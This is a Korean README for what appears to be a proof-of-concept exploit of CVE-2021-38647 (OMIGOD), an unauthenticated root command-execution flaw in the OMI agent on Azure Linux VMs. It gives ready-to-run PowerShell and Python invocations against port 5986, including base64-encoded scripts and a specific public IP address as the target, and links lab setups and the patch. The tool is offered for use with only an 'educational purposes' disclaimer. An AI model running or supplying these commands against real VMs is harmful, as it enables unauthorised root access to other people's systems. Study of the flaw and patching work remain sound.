
CVE-2021-38647 - 인증되지 않은 RCE를 악용하기 위한 POC #OMIGOD
CVE-2021-38647 - Azure UNIX/Linux VM에서 인증되지 않은 RCE #OMIGOD를 악용하는 POC!
Microsoft Azure에서 OMI 애플리케이션은 Azure Automation Accounts, Update Management, Log Analytics, Configuration Management 등과 같은 서비스가 UNIX/Linux VM에 사용될 때 자동으로 설치됩니다. 또한 Configuration Management 서비스를 사용하여 원격으로 시스템을 관리하는 경우 OMI 애플리케이션은 5986 포트를 통해 서비스를 노출합니다.
취약한 엔드포인트에 네트워크로 접근할 수 있는 사람은 Authorization 헤더 없이 SCXcore 공급자를 활용하는 요청을 보내 대상 시스템에서 루트 권한으로 OS 명령을 실행할 수 있습니다!
이 취약점은 현재 패치되었지만 Azure의 Linux VM에 대해 항상 점검해 볼 가치가 있습니다.
# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) # For Windows
echo 'id' | base64 # For Linux
python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==

Azure에 배포하기 위한 ARM 템플릿 - https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI
Azure 없이 배포 - https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956
취약점을 완화하려면 OMI 에이전트를 1.6.8.1 이상 버전으로 업데이트해야 합니다.
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956
https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI
https://www.alteredsecurity.com/post/omigod-cve-2021-38647
WIZ 팀 - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
이 프로젝트는 교육 목적으로만 제공됩니다. 제작자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.